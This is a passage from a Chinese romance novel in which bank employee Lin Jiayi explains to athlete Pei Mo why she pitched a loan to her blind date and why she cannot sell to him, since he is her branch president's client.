“这就是你下午说的，你要见的客户？”何思远退出咖啡厅以后，裴墨问站在他身边的林佳怡。 林佳怡其实觉得裴墨的这个问法有点奇怪，抛开忘得快差不多的小时候一起玩过的经历，他们今天下午三点多才认识啊。 她也不过就帮他办了一张卡。 这人为什么一副他们很熟的样子？ 但林佳怡面不改色：“对啊。” 她甚至拿出平板上的提交成功界面给裴墨看：“还办成了。” 听她这么说，裴墨点了点头：“那我一开始听到的房产证上加名字，是我听错了。” 林佳怡：…… “好吧，他确实是我家里人给我介绍的相亲对象。” 裴墨不理解：“那你给他推销贷款？” 林佳怡点了点头：“对啊，我妈说他是体制内的，他说他是市政府的，这么好的优质客户，怎么能错过呢？” 裴墨感慨道：“你的心里，还真是只有工作啊。” 林佳怡听他这么说，笑了一声：“对啊，银行嘛，本质不就是销售，销售不就是要这样，无孔不入。” 裴墨朝她眨了眨眼：“那我呢？怎么不向我推销？” “啊？”林佳怡一时没反应过来裴墨在说什么。 裴墨继续说道：“我听你说了一下午，你的100万，你怎么不让我贷款呢？” “你缺钱？”林佳怡没明白裴墨怎么没来由地来了这么一句，她又重新上下打量了一下裴墨，看他人高马大的，怎么会这样？ 她脑子不由想起了一些不好的事情，比如说“运动员的本质还是体育生”，倒也不是她对体育生有偏见，只是想到裴墨可能缺钱……她就不由自主地联系上他的体育生身份。 好吧，这就是偏见。 林佳怡在心底默默道歉。 缺见裴墨摇了摇头：“我不缺钱，我就是刚刚听你说，对方是体制内优质客户，我也是在役运动员，应该也符合你们的要求？” 听了裴墨这话，林佳怡顿时觉得自己真该死。 原来裴墨只是想帮助她，她却在这里用有色眼镜看他，她真该死。 她在心底默默道歉，然后对裴墨说道：“你帮不到我，因为你是我们周行长的客户。” 裴墨问她；“这很重要吗？” “当然！”林佳怡想了想，做了个比喻，“就像你们游泳，游了半天，发现自己游错了赛道。” “那确实不行。” “你不走吗？”林佳怡看了眼咖啡厅，时间已经不早了，咖啡厅里人却不少，他们俩这样站在这里还挺突兀，特别是裴墨一米九几的大个子，她已经看到咖啡厅老板郑书音频频看过来了。 怕是等裴墨一走，她的微信就要来了。